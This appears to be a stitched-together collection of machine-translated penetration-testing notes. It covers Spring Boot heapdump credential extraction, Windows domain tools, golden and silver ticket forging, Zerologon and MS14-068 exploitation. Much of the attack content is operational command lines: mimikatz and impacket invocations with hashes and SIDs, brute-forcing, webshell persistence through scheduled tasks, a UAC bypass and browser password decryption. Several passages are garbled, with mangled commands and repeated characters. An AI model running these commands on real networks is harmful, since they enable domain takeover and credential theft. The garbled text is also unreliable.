IDパラメーターが渡され、ディレクトリを交差できません。ファイルのアップロードを使用できないため、ディレクトリスキャンを開始します。

Image

管理者ログインインターフェイスにはスライダーの検証がありますが、フロントエンドからの詐欺であり、バックエンドでは役に立たないため、爆発しようとすることは実りがありません。

表示/アクチュエータを表示すると、Spring Bootであり、ターゲット辞書を使用して爆破します。

/swagger-ui.htmlはempty、 /envジャンプadmin、 /heapdump 403です。

しかし、私は/heapdump.jsonからそれを試してみました

Image

1Gメモリファイルを解凍し、メモリアランライザーを使用して開き、OQLをクエリします。

/envとの協力はないため、構成情報を盲目的に確認することができます。ここに私が理解したいくつかのヒントがあります。

select* from org.springframework.web.context.support.standardservletenvironment Check構成から、保持されたヒープ(サイズ)のソートに注意してください。

Image

[Java.lang.Stringから*から*を選択します。この検索方法は、関連するクラスを簡単に見つけることができませんが、ログインレコードなどをすばやく見つけることができます。パスワードをhttp://に置き換えると、いくつかのURLを見つけることができます。

Image

java.util.hashtable $ entry x from java.util.hashtable $ entry x Where(toString(x.key).contains( 'username'))select* from java.util.hashtable $ entry x where(toString(x.key).contains( 'password'))select* from java.util.hashtable $ x (toString(x.key).contains( 'url'))select* from java.util.hashtable $ entry x where(toString(x.key).contains( 'url'))データベース関連情報をすばやく確認し、MySQLアドレスアドレスアカウントパスワードを見つけました。ただし、残念ながら、AmazonのデータベースにはデフォルトでIPホワイトリストがあり、リモートでログインできません。

Image

select*from java.lang.string sは、 '。*session。*'のようなtoString(s)がログインしていることを発見し、交換後に背景にログインします。

Image

背景は、リアルタイムの会話にWSSSプロトコルを使用しており、アバターとカスタマーサービスの返信に使用率はありません。有毒な犬のいくつかの嘆きだけが見つかりました。

Image

ブラックボックステストは実りがありませんでした。 Heapdumpで注目のクラス名を検索してから、Githubで検索しました。ソースコードのコピーを初期バージョンである可能性があり、ターゲットは改訂版でしたが、ソースコードはそれほど完全ではありませんでした。

Image

不完全なコードを監査し、任意のファイルの読み取りとSSRFを見つけます。

Image

Image

Image

いくつかのソースコードを使用すると、構成ファイルの場所を知っていて、構成ファイルを読み取ります

Image

もちろん、以前にデータベース構成を取得します

0x01. NetLocalGroupGetMembers

功能:查询目标服务器本地管理组的成员

yzegalkkkhi14138.png

0x02. NetLocalGroupEnum

功能:返回指定服务器上的所有本地组

imlxc0xa5ru14140.png

0x03. NetGroupGetUsers

功能:返回指定服务器指定组的所有成员

查询域里的各个组里的成员,IP必须是域控IP

ynhubimtp4x14141.png  

0x04. NetUserEnum

功能:查询目标服务器所有用户,包括隐藏用户

ffaz2awy0uq14150.png

dqdofqwy3fs14151.png  

0x05. wnetaddconnection2a

功能:建立IPC连接,可以将目标共享目录映射到本地磁盘

upvtn00hlew14152.png

0x06. WNetCancelConnection2

功能:删除IPC连接

bq5n0fpdrf214153.png

0x07. EnuDomainUser

功能:枚举域用户

1. 介绍

适用于:当前边界机器权限是工作组机器,通过nltest或者nbtscan等工具发现内网有域环境,并且找到域控IP,但是没有域用户的权限下渗透思路。

前提条件:能够和域控建立空连接

实现原理:域管默认都会有administrator用户,通过windows api查出administrator域管的SID,然后遍历SID范围,枚举出域成员(域用户和域机器)。

SID范围:域用户和域机器的SID一般是1000以上,所以使用工具的时候遍历1000以上的SID

2. 工具使用

使用帮助:

C:\Users\Administrator\Desktop>EnuDomainUser.exe
Usage: EnuDomainUser.exe <DC-IP> <domainname\username> <start Sid> <end Sid> <t_num>
       EnuDomainUser.exe \\192.168.52.2 hack\administrator 1000 2000 100
       EnuDomainUser.exe \\域控IP 域名\域用户名<默认administrator> 起始Sid 末尾Sid 多线程数目

使用demo:

EnuDomainUser.exe 192.168.52.2 hack\administrator 1000 2000 100

参数解释:

192.168.52.2  是域控IP
hack          是域名
administrator 是域管默认用户
1000          是遍历SID的起始
2000          是遍历SID的末尾-可以设置高一点,例如10000,20000等
100           是多线程的数目

0m0mghaayrh14154.png

dsa3tj1ayo514155.png  

0x08. BlastDomainUserPwd

功能:爆破域用户密码

1. 介绍

通过IPC连接->爆破域用户的密码

结合EnuDomainUser工具或者kerbrute工具获取域用户名列表,然后进行爆破

如果被360杀,改一下exe名字即可

设计思路:

  1. 如果能够和域控建立空连接,则用EnuDomainUser工具枚举遍历出所有域用户名
  2. 如果不能够和域控建立空连接,则用kerbrute工具爆破域用户名

当获取到一批域用户名后,开始尝试域用户密码的弱口令爆破

域用户密码有强度要求,则尝试爆破强弱口令。例如:P@ssw0rd、1qaz@WSX等

2. 工具的使用

Usage: BlastDomainUserPwd.exe <domainComputerIp> <domainUser.txt> <password> <t_num>
       BlastDomainUserPwd.exe \\192.168.52.29 domainUser.txt password 100
       BlastDomainUserPwd.exe \\域机器IP 域用户名字典 尝试爆破的密码 多线程数目

域用户名字典格式规范:域名\域用户名

domain\user

u5mtfuyta0d14156.png  

运行实例: BlastDomainUserPwd.exe \\192.168.52.2 domainUser.txt 1qaz@WSX 3

vx4he3loyxl14157.jpg

成功爆破出的域用户密码保存在当前目录的success.txt文本里

 

nbjejvdrnia14158.png  

 

0ctkx5pp2jx14159.png

0x09. SchtaskBackDoorWebshell

功能:计划任务维持webshell

1. 适用场景:

护网中被防守方发现webshell,并清除出去,漏洞也被修复,然后网站恢复后不能再上传webshell时,通过计划任务重写webshell。

2. 条件:

管理员权限,因为创建计划任务得需要管理员权限

3. 使用方法:

xxxx.exe c:\wwww\upload\1.jsp

4. 实现过程:

将c:\wwww\upload\1.jsp内容复制到c:\windows\temp\tempsh.txt里,然后创建了一个计划任务,执行的命令是c:\windows\system32\cmd.exe /c copy c:\windows\temp\tempsh.txt c:\wwww\upload\1.jsp,每半小时触发一次。

5. 视频展示:

xfsfunuruwv14173.gif

0x10. regeditBypassUAC

功能:过uac执行exe,编译好的exe只适用于win10,win7不行

1. 具体过程

基于白名单程序注册表bypassUAC

2. 视频演示

2oyjf5vellk14180.jpg  

0x11. delegationVul

功能:检测内网域的约束委派

1. 约束委派利用

约束委派利用

2. 视频演示

a1q0ww0ews114185.jpg

3. 基于资源的约束委派利用

基于资源的约束委派利用

4. 视频演示

 

xbsxv5xw5os14188.jpg  

 

0x12. 360SafeBrowserDecrypt

功能:

直接在目标机器上运行,但是不免杀
360SafeBrowserDecrypt.exe

将目标的机器id和assis2.db数据库拖回到本地解密
查机器id:
reg query "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY" /v "MachineGuid"
查360安全浏览器安装目录: 
reg query "HKCR\360SeSES\DefaultIcon"
默认的assis2.db数据库目录:
C:\Users\xxxxxxx\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis

本地运行:
360SafeBrowserDecrypt.exe xxx-xxx-xxx-xxx assis2.db
ztikat1xwjk14193.png
结果显示:
有收藏夹的url和保存密码的url

文章中所用到工具: 链接:https://pan.baidu.com/s/1bKo-srQJMWgpQt5mPCFPfA 提取码:ryzx

ep4isrda0gd14205.jpg

分析文章:动态调试360安全浏览器获取密钥

 

原文链接: https://github.com/SkewwG/domainTools         hh4wm2qszqa14206.jpg

 

 

HireHackking

域渗透|票据伪造

忘记账单

金笔记

Goldenticket

https://www.se7ensec.cn/2021/10/20/20/%E5%9f%9f%E6%B8%97%E9%E9%80%80%8F-KERBEROS%E5%9F%9F%E8%E8% A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E9%BB%84%E9%E9%87%87%91%E7%E7%A5%A5%A8%A8%E6%8DD%AE

简介

金票(以下称为金票)是伪造的TGT(票务票),因为只要有高授权的TGT,就可以将其发送到TGS进行任何服务的TGS。可以说,有了黄金票,该域中的权威最高。

制作金票的条件

1。域名

2。域的SID值

3。域的KRBTGT帐户密码哈希

4。锻造用户名可以是任何

使用过程

mimikatz

金票的产生需要Krbtgt的哈希值。您可以通过Mimikatz中的命令获得KRBTGT的值。

1LSADUMP:3:DCSYNC /OOWA2013.ROOTKIT.org /user:KrBtgt获取Krbtgt Hash,然后使用Kerberos: -Golden在Mimikatz中的功能产生Golden.kiribi,是成功的成功。

/用户:锻造用户名

/域:域名

/sid:SID值,请注意,最后一个值- 以下值/KRBTGT:KRBTGT HASH值

/ptt:这意味着传递票务攻击,该票证将生成的机票导入内存,并且在使用之前也可以使用/票证出口。

12mimikatz.exe 'kerberos:golden /user:administrator /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /krbtgt3360c3d5042c67ef5f461d0ba6ecd9e449 /ptt'Exitklist /kerberos:List可以成功地通过DIR访问域控制的共享文件夹。

1dir \\ owa2013.rootkit.org \ c $

爆炸

123456781。清除票证klist klist purge2。制作ccache文件python ticketer.py -nthash C3D5042C67EF5F461D0BA6ECDD9EA449 -DOMAIN-SID SID SID SID SID SID SID SID SID SID SID SID SID更改环境变量设置krb5ccname=abtrisyator.ccache/export krb5ccname=indercanceator.ccache4。验证结果python wmiexec.py rootkit.org/administrator@owa2013 -K -no-pass

银笔记

Silvertickets

https://www.se7ensec.cn/2021/10/20/20/%E5%9f%9f%E6%B8%97%E9%E9%80%80%8F-KERBEROS%E5%9F%9F%E8%E8% A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E7%99%BD%E9%E9%93%B6%E7%A5%A5%A5%A8%A8%E6%8DD%AE

需要使用什么服务?在这里查看攻击者如何使用Kerberos银票来利用系统3https://ADSECURITY.org/?p=2011

服务类型

服务银票

WMI

主机,RPCSS

powershell远程

主机,HTTP(WSMAN,RPCSS)

Winrm

主机,http

计划的任务

主持人

Windows文件共享(CIF)

CIFS

LDAP操作包括Mimikatz DCSync

LDAP

Windows远程服务器管理工具

RPCSS,LDAP,CIFS

简介

银票(以下称为银纸币)是伪造的(服务票),因为TGT限于PAC。

客户授权的服务(通过SID的值),因此钞票只能访问指定的服务。

制作银笔记的条件

1。域名

2。域SID

3。完全合格的域名目标服务器的完全合格的域名,即带有主机名和域名的名称。)

4。可用服务(在目标服务器上运行的Kerberos服务,服务主名称类型,例如CIFS,HTTP,MSSQL等)

5。服务帐户的NTLM哈希(如果它是域控制器计算机帐户,则意味着DC已被删除)

6。需要伪造的用户名可以是任何,以下是银

使用过程

mimikatz

首先,我们需要知道服务帐户哈希的密码。在这里,我们还使用域控件作为示例(请注意,在此不使用管理员帐户的哈希,但OWA2013 $)

参数描述:

/域:当前域名

/sid:SID值,像金票一样,请上一部分

/目标:目标主机,这是OWA2013.ROOTKIT.org

/服务:服务名称,您需要在此处访问共享文件,因此是CIFS

/rc4:NTLM服务帐户的哈希值(OWA2013 $)

/用户:锻造用户名

/ptt:这意味着传递票务攻击,该票证将生成的机票导入内存,并且在使用之前也可以使用/票证出口。

使用kerberos:ptt导入

1234567891。 /TARGET:OWA2013.ROOTKIT.org /service:Cifs /rc4:dd2162e8606006006dcca0e29b7819721a /user33:silver /ptt'exitklistdir $ 2.ROOTKIT.OROTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT。锻造的LDAP服务权限mimikatz'Kerberos:3:Golden /domain:Rootkit.org /sid:s-1-5-21-37598881954-299999999999993293291187-3577578080808080808083333333333333333333333333333333333333333333333333333333333333333333333333333333633333量表。 /service:ldap /rc4:ddddd2162e8606006dcca0e29b7819721a /user:silver /ptt'exitklistmikikikatz'lsadump333333:dcsync /dcssync /dcssync /dcssync /dcssync /d.ga.ga.gaafa.gaafa.gaafa.arotklistmikikatz /domain:rootkit.org /user:krbtgt' exit.

爆炸

123456781. Forge cifs service permissions python3 ticketer.py -nthash ddd2162e8606006dcca0e29b7819721a -domain-sid S-1-5-21-3759881954-29993291187-3577547808- domain rootkit.org -dc-ip 192.168.3.144 -spn cifs/owaa2013.Rootkit.org silver2。 Forge LDAP service permissions python3 ticketer.py -nthash ddd2162e8606006dcca0e29b7819721a -domain-sid S-1-5-21-3759881954-2993291187-3577547808 -domain rootkit.org -dc-ip 192.168.3.144 -spn ldap/owa2013.rootkit.org silverset krb5ccname=silver.ccace/export krb5ccname=silver.ccachepython wmiexec.py -k owaa2y2013.Rootkit.org 3

增强版本的金音符

-1

增强式Golden门票

-1

域树和域森林

-1010-110-110-110-110

普通金票的限制

11门票,以便可以获得域控制权限,并且可以访问域中其他主机的任何服务。

但是,不能在域上使用普通的金票,这意味着金票的权限仅限于当前域。

企业管理员组

news.rootkit.org和dev.rootkit.org是rootkit.org的子域,这三个域形成了一个域树。

同样,test.org也是一个单独的域树。将两个域树rootkit.org和test.org合并为被称为域森林。

域名ADMINS组

根域和其他域之间最大的区别是根域对整个域森林具有控制权。

该域基于企业管理员组实现此类许可部门。

使用过程

Enterpriseadmins组是该域中的一组用户,仅存在于森林中的根域中。该组的成员是rootkit.org中的管理员用户(不是本地管理员,而是域中的管理员)对域具有完整的管理控制。

在rootkit.org的域控制上的企业管理员组为519。

mimikatz

子域中不存在Enterpriseadmins组。子域中具有最高特权的小组是域管理组。

news.rootkit.org此子域中的管理员用户,该管理员在当前域中具有最高的权限。

参考

010-1010普通金音符仅限于当前域。 2015年,来自中国黑帽子的研究人员提出了增强的黄金音符版本,这些音符突破了域限制。

迁移期间LDAP库的Sidhistory属性中保存的先前域的SID值是通过制作跨域金票来制作的。

如果您知道根域的SID,则可以使用Mimikatz通过子域的KRBTGT的哈希值来使用Enterpriseadmins组权限(域名森林中最高特权)创建票。

然后再生一张包含Mimikatz根域SID的新金票

1mimikatz'Kerberos:Golden /admin:AdMinistrator /domain:news.rootkit.org` /sid:SID /sidssiD /sids:ROOT域名/endin:600 /renewmax:10080 /ptt'退出参考:3https://ADSecurity.org/?p=1640

startoffffset和endin分别表示偏移和长度,而Renewmax表示生成的票证的最大时间。

请注意,您不知道root domain rootkit.org的密码哈希,并在subdomain news.rootkit.org中使用KRBTGT的密码哈希。

然后,您可以通过DIR访问OWA2013.ROOTKIT.org的共享文件夹。目前,这张机票控制了整个域名森林。

010-1010 https://github.com/uknowsec/active-directory-pentest-notes

CVE-2020-1472

https://www.anquanke.com/post/id/219374

本文提到了一种适用于无法恢复其他方法的方法

DeDomain之后,您可以使用PowerShell强制同步并一次重置计算机的机器帐户密码。 (包括AD,注册表,LSA中的密码)。 1powershell Reset-ComputerMachinePassword

环境

12 Domain: AAAA.COMDC: LX-DC01.AAAA.COM -ip- 192.168.1.4

Python版本

poc

https://github.com/SecuraBV/CVE-2020-1472

1Python3 Zerologon_tester.py LX-DC01 192.168.1.4

安装爆炸式

12GIT克隆https://GITHUB.COM/SECUREAUTHCORP/IMPACKET.GITCD impacket pip3 install。

漏洞利用

https://github.com/risksense/zerologon-set_empty_pw.py

1python3 set_empty_pw.py LX-DC01 192.168.1.4

获取域管理员的哈希

1python3 secretsdump.py AAAA.COM/LX-DC01\$@192.168.1.4 -no-pass

使用wmiexec

使用“管理员”哈希获取域管理权限

1python3 wmiexec.py -hashes :BE833AC3F39C0F843B1B653D37C34DBE AAAA.com/administrator@1192.168.1.4

获取目标原始哈希

1010 123REG SAVE HKLM \ hklm \ hklm \ saveg System.savereg Sake Save Save Save HKLM \ Sam.secore Security 33 33 33 33 33 33 33 33 33 123get system.saveget sam.saveget Security.save put点:此步骤可能导致Python无法下载1234个以不同语言的编码。 You can first get the following language and then search for the corresponding encoding https://docs.python.org/3/library/codecs.html specify the following encoding python3 wmiexec.py -hashes :be833ac3f39c0f843b1b653d37c34dbe aaaaa.com/administrator@192.168.1.4 -codec GB2312也可以使用Net用途将文件复制回1234567mimi注射hash hash中cmdprivilege:333:Debugsakurlsakurlsa33333333333333333333333333:ISTRITAR /domain:AAAA /NTLM:BE833AC3AC3F39C0F843B1B653D37C34C34DBENET使用\ \ 192.168.1.1.4copy \\ \ \ \ \ 192.168.1.1.1.1.1.4 \ c $ \ c $ \ c $ \ c333333333333: \ c3: \ \\192.168.1.4\c$\sam.save c:\sam.savecopy \\192.168.1.4\c$\security.save c:\security.save

将导出的哈希文件下载到本地

123del /f system.savedel /f sam.savedel /f security.save

删除域控制主机上导出的哈希文件。

1Python3 SecretSdump.py -sam sam.sam.save -System System.Save -security Security.Save local

使用SecretsDump读取下载到局部区域的哈希文件,并获取原始哈希域控制机器帐户位于前所未有的位置

建议使用:脚本可能缺少XXX软件包,导致错误。我还没有弄清楚原因是什么

https://github.com/mstxq17/cve-2020-1472-RestorePassword.py

1Python3 RestorePassword.py aaaa.com/lx-dc01@lx-dc01 -target-ip 192.168.1.4 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f96956 3803B0F1BAE7CCD24B29B41AE611025F1952793562D73E7F4E7F4E0F4E0F8938B3361332B3 5DD5EE222785B79B922149DB32DC5C9301F4F4FD9FD090F532575BF5197A9C9230955 BFD96AB928AE66B3999730C75B8545E26770816F21F21F2BF9DBBBBB19432211A91224C 4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240 bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960不建议:更暴力,将再次调用,并且使用空密码的哈希来计算session_key

https://github.com/risksense/zerologon -renstall_original_pw.py

1Python3 Reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_IP_IP_ADDR ORIG_NT_HASH

密码恢复

:010

mimikatz版本

1 SHELL C: \ INTEL \ INTEL \ MIMIKATZ.EXE /counch:lx-dc01 $''exit'1lsadump:zerologon /target:192.168.1.4 /councel:lx-dc01 $ :010101010110110 1shell C: \ intel c: 'lsadump:3:zerologon /target:lx-dc01.aaaa.com /counce:lx-dc01 $ /exploit'E exit'1lsAdump:3333:zerologon /target 3:lx-dcell ofer C:\Intel\mimikatz.exe 'lsadump:dcsync /domain:AAAAA.COM /dc:LX-DC01.AAAA.COM /user:administrator /authuser:LX-DC01$ /authdomain:AAAAA /authpassword: /authntlm' 'exit'1lsadump:dcsync /domain:AAAAA.COM /dc:LX-DC01.AAAA.COM /user:administrator /authuser:LX-DC01$ /authdomain:AAAAAA /authpassword: /authntlm

poc

1shell C:\Intel\mimikatz.exe 'privilege:debug' 'sekurlsa:pth /user:administrator /domain:AAAAA /ntlm:be833ac3f39c0f843b1b653d37c34dbe' 'exit12privilege:debugsekurlsa:pth /user:administrator /domain:AAAAA /NTLM:BE833AC3F39C0F843B1B653D37C34DBE

漏洞利用

1 SHELL C: \ INTEL \ MIMIKATZ.EXE'lsAdump333333:posterologon /Terogolologon /tarogolologon /tarogologon.44.44.44.44.44.444.44。 /counch:lx-dc01 $''exit'1lsadump:3:postzerologon /target:192.168.1.4 /councor3:lx-dc01 $ $

HireHackking

域渗透|MS14-068

MS14-068

MS14-068

https://WWW.SE7ENSEC.CN/2021/10/20/20/%E5%9F%9F%E6%B8%97%E9%80%80%8F-KERBEROS% E5%9F%9F%E8%AE%A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#Pac-1

MS14068是一个权限升级漏洞,可以使普通用户能够增加其对域控制权限的权力。攻击者可以通过构建特定的请求数据包来实现升级权限的目的。

这种漏洞的主要问题是,KDC将根据指定PAC中的数字签名和PAC的加密算法的加密算法来验证PAC的合法性。这使攻击者可以通过锻造PAC来修改PAC中的SID,从而导致KDC判断攻击者是一个高私密的用户,从而导致了特权升级脆弱性。

漏洞补丁地址: https://Technet.microsoft.com/zh-cn/library/security/security/MS14-068

使用方法

MS14-068的相应补丁是KB3011780。您可以检查此补丁是否通过域控制上的SystemInfo安装。

1SystemInfo |查找'3011780'

keoko

12KLIST清除清除账单Kekeo'Exploit3:MS14068 /domain:ROOTKIT.ORG /user33: py:https://github.com/mubix/pykek

exe:https://github.com/ianxtianxt/ms14-068

参数描述:

-U域帐户@Domain名称

-p是当前用户的密码

-s是当前用户的SID值。可以通过Whoami/All获得用户的SID值。

-d是当前域的域控制

–RC4 Hash适用于当前用户

通过DIR访问域控制的共享文件夹,并促使访问被拒绝。 1dir \\ owa2013.rootkit.org \ c $

Generate ticket 1MS14-068.exe -u sqladmin@rootkit.org -p Admin12345 -s S-1-5-21-3759881954-2993291187-3577547808-1613 -d OWA2013.rootkit.org

成功执行脚本将在当前目录中生成CCACHE文件。在导入票证之前,请在CMD中使用命令KLIST净化,或使用Mimikatz中的Kerberos:Purge删除当前缓存的Kerberos票。 1KLIST清除

使用mimikatz 1mimikatz'kerberos:ptc tgt_sqladmin@rootkit.org.ccace'Exit导入生成的CCACHE文件。

您可以再次通过DIR成功访问域控件共享。

Pykek

Goldenpac.py在Impacket工具套件中,该工具是组合MS14-068 Plus PSEXEC的产物,非常易于使用。

1python goldenpac.py -dc-ip 192.168.3.144 -target-ip 192.168.3.144 rootkit.org/sqladmin3:admin12345@owa ewoawa extim32013.rootkit.org https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2014/ms14-068

https://daiker.gitbook.io/windows-protocol/kerberos/3#0x00-qian-yan

https://cloud.tencent.com/developer/article/1760132

https://www.cnblogs.com/backlion/p/6820744.html

Kerberos域身份验证机制的分析

kerberos概念

Kerberos是一种网络身份验证协议,旨在通过密钥系统为客户端/服务器应用程序提供强大的身份验证服务。此身份验证过程的实现不依赖于主机操作系统的身份验证,不需要基于主机地址的信任,不需要网络上所有主机的物理安全性,并且假设可以任意读取,修改和插入网络上传输的数据包。

在上述情况下,Kerberos作为可信赖的第三方身份验证服务,通过传统的加密技术(例如:共享密钥)执行身份验证服务。

涉及域身份验证的角色

Kerberos的徽标是三个狗头,狗头代表以下三个字符

客户访问服务

提供服务的服务器

KDC(密钥配送中心)钥匙配送中心Kerberos测试工具简介

KDC服务默认情况下将在域中安装在域控件中,而客户端和服务器是域内的用户或服务,例如HTTP服务和SQL服务。客户是否有权访问Kerberos的服务器服务,取决于KDC(密钥配电中心)发行的收据。

Kerberos认证协议

TGT(票票)

身份身份验证服务授予的门票为(身份验证服务)。 TGT用于身份认证,并存储在内存中。默认有效期为10小时。门票可以通过TGT获得。 TGT是临时证书,伪造的TGT也称为金笔记。

比尔(服务器票/票)

是网络对象相互访问的凭据,伪造的ST \票证也称为银账单。

KDC(密钥配电中心)

负责管理票据,认证票据和分发票据,但KDC不是独立服务,它由以下服务组成:

AS(身份验证服务):身份身份验证服务,为客户生成TGT(授予票务)服务。

TGS(授予服务机票):票务授予服务,为客户的票务生成服务。

ad(帐户数据库)

一个类似于本机SAM的数据库,该数据库存储了所有客户的白名单。只有白名单上存在的客户才能成功申请TGT。

※补充:从物理角度来看,AD和KDC都是域控制器(域控制器)。

粗域身份验证过程

该过程的简要说明

①-②:来自Kerberos服务的客户请求,希望获得访问服务器的许可。当Kerberos收到这个消息时,他必须首先确定客户是否值得信赖,这是白名单黑名单的说法。

这就是AS(身份验证服务)服务所做的,通过在AD(帐户数据库)中存储黑名单和白名单来区分客户。

成功后,AS(身份验证服务)将TGT(授予票证票)返回客户。

③-④:客户端获得TGT(授予票证票)后,它继续向Kerberos请求,希望获得访问服务器的许可。 Kerberos再次收到了此消息。目前,通过客户端消息中的TGT,确定客户端已有此许可,并授予客户端访问服务器机票的权限。

⑤-⑥:客户端获得机票后,他最终可以成功访问服务器。该票仅适用于该服务器,其他服务器需要应用于TGS(授予服务票)。

kerberos_environment.png

详细描述

AS_REQ:客户端启动AS_REQ至KDC,请求凭据是客户端哈希加密的时间戳

AS_REP: KDC使用客户端进行解密。如果结果正确,它将返回使用KRBTGT哈希加密的TGT票。 TGT包含PAC,PAC包含用户客户端和用户客户端所在的组的SID。

TGS_REQ:客户端启动了带有TGT票证的特定服务器的TGS_REQ请求

TGS_REP: KDC使用KRBTGT哈希进行解密。如果结果正确,它将返回使用服务器哈希加密的TGS票证[票证](此步骤无关紧要,如果用户是否可以访问服务器,只要TGT正确,它就会返回TGS Ticket [Ticket])

AP_REQ:客户端将TGS票(票)带到请求服务器

AP_REP:服务器使用自己的哈希人解密TGS门票(门票)。如果解密是正确的,请将PAC带到KDC并询问客户是否具有访问权限,并且域控制将解密PAC。获取客户端的SID及其所在的组,然后确定客户端是否有权根据服务的ACL访问服务器。

域身份验证的详细过程

as_req as_rep

as_req

123456781。PVNOKERBEROS版本编号2。MSG型类型,AS_REQ对应于KRB_AS_REQ(0x0A)3。 PA_DATA主要指一些身份验证信息。一个包含几个用于身份验证的身份验证消息的列表,我们也可以身份验证器。每个身份验证消息都有类型和值。 4。req_bodykdc-options某些标志字段

as_rep

123456789101。msg-typeas_req的响应主体对应于krb_as_rep(0x0b)2。 Crealm域名3。CNAME用户名4。票务此票用于TGS_REQ身份验证。它是加密的,用户无法阅读。在AS_REQ请求中,使用KRBTGT哈希进行加密。因此,如果我们有Krbtgt的哈希,我们可以自己制作一张票,这是一张金色的票据。有关详细信息,请参阅相关的安全问题5。可以解密ENC_PART的这一部分。关键是用户哈希。解密后,获得加密键。加密中最重要的字段是会话密钥,该键用作下一阶段的身份验证密钥。

TGS_REQ TGS_REP

tgs_req

1234567891111。对于味精类型,TGS_REQ对应于KRB_TGS_REQ(0x0C)2。 PA-DATA普通TGS_REQ请求要求AP_REQ:这是必须携带TGS_REQ的部分。该部分将携带在AS_REP中获得的TGT票,并将其放置在此结构中。 KDC检查了TGT法案,如果账单正确,则返回TGS法案。 PA_FOR_USER:类型为S4U2Self,该值是指示用户身份的唯一标识符。这个唯一的标识符由用户名和域名组成。 S4U2Proxy必须扩展PA_FOR_USER结构,并指定服务代表用户(图片是管理员)来请求服务本身的Kerberos服务票。 PA_PAC_OPTIONS:值是以下标志声明(0),分支识别(1),转发到完整DC(2),基于资源的约束委托(3)的组合。 Microsoft的MS-SFU 2.2.5,S4U2Proxy必须扩展PA-PAC-OPTIONS结构。如果是基于资源的约束委托,则需要指定基于资源的约束委托位。 3。req_bodysname:这是要请求的服务。 TGS_REP获得的票证使用服务用户的哈希(Hash)进行加密。有一个更有趣的功能,如果指定的服务是KRBTGT,则可以将您获得的TGS账单用作TGT账单。 addtionticket:附件。在S4U2Proxy请求中,需要两个正常的TGT,并且需要在S4U2自行阶段获得的TG。然后将此TGS添加到addtionticket中。

tgs_rep

1234561。MSG-TYPEAS_REQ的响应主体对应于KRB_TGS_REQ(0x0d)2。票证用于AP_REQ身份验证。

内部的enc_part被加密,用户无法读取内部内容。在AS_REQ请求中,使用KRBTGT哈希进行加密,而在TGS_REQ中,它是使用要请求的服务哈希进行加密的。因此,如果我们拥有服务的哈希,我们可以自己制作一张票,这是银笔记。有关详细信息,请参阅相关的安全问题银法案。由于使用要请求的服务的哈希进行了加密,因此我们可以通过爆炸enc_part获得服务的哈希。有关详细信息,请参阅相关的安全问题Kerberoasting。 3。ENC_PART请注意,此ENC_PART不是票证中的enc_part,可以解密其中的一部分。关键是session_key在上一轮AS_REP中返回,即导入凭据中的session_key。解密后,获得加密密钥。加密密钥结构中最重要的字段也是session_key(但是此session_key与上一轮中的session_key不同),并用作下一阶段的身份验证密钥。

s4u2self

S4U2自己的过程如下图所示(先决条件是该服务已经具有通过KDC验证的TGT)

S4U2自己使服务能够代表用户获得服务本身的Kerberos服务门票。这允许服务获得用户的授权(可转发用户TGS票证),然后将其用于以后的身份验证(主要是稍后的S4U2Proxy),当用户在不使用Kerberos的情况下对服务进行身份验证时,该验证供您使用。这里非常重要的一点是,该服务代表用户获得服务本身的Kerberos门票。该服务不需要用户凭据。

image004.png

s4u2proxy

S4U2Proxy的过程如下图所示

S4U2Proxy使服务1能够使用用户的授权(在S4U2自行阶段获得),然后使用此TGS(放置在addTionTicket中)来请求KDC的TGS访问服务2,并代表用户访问服务2,并且只能访问服务2。

image006.png

委托

当Windows 2000服务器首次发布Active Directory时,Microsoft必须提供一种简单的机制来支持一个方案,其中用户通过Kerberos通过Kerberos对Web服务器进行身份验证,并且需要代表该用户在后端数据库服务器上更新记录。这通常称为“ Kerberos双跳问题”,需要委托,以便Web服务器在修改数据库记录时模拟用户。

要注意的一件事是,接受委托的用户只能是服务帐户或计算机用户。

无约束委托

示例:

服务(例如Jackson-PC $)配置为无限制的委托,因此Jackson-PC $可以接受任何用户的委派来请求所有其他服务。协议级别的实现是,如果用户委托Jackson-PC $访问某个服务,则用户将将TGT(In TGS)发送到Jackson-PC $,并将其缓存到LSASS,以方便将来使用。然后,Jackson-PC $模拟用户请求特定服务。

具有非受限委托的用户的用户accountControl属性具有标志位。 TrustedfordElegation。可以在转换AD AD USERACCOUNTCONTROL属性值中找到UserAccountControl位的含义(我们还将在LDAP文章中详细介绍它)。相应的trusted_for_delegation为0x80000,为524288。

约束委托

Microsoft很早就意识到,在Windows 2003上,无约束的委派不是特别安全,并发布了“约束”委派。

这包括一组Kerberos协议扩展,这是本文前面提到的S4U2Self和S4U2Proxy的两个扩展。配置后,受约束的委托将限制指定服务器可以代表用户执行的服务。这需要可见的元素特权(敏感,通常仅授予域管理员)才能配置服务域帐户并将帐户限制为单个域。

例子:

计算机用户(即Jackson-PC $)配置为有限的委托,因此Jackson-PC $可以接受任何用户的委派来请求特定服务。特定过程是,在收到用户的请求后,它首先代表用户获得了服务本身的透明kerberos服务票(S4U2Self),并请求KDC从KDC中访问特定的服务的可转发TGS(s4u2proxy),从KDC中访问特定的服务,并且只能访问特定的用户和特定服务的特定服务。

与无限制的委托相比,约束授权之间的最大差异是在配置时选择特定的服务,而不是所有服务。

配置为限制委托的UseraccountControl的用户AccountControl属性具有标志位可信度AauthfordElegation。关于对应于用户accountControl的每个位的含义,您可以看到转换AD AD USERACCOUNTCONTROL属性值,其中Trusted_to_to_auth_for_delegation对应于0x1000000,即167777216。

基于资源的约束委托

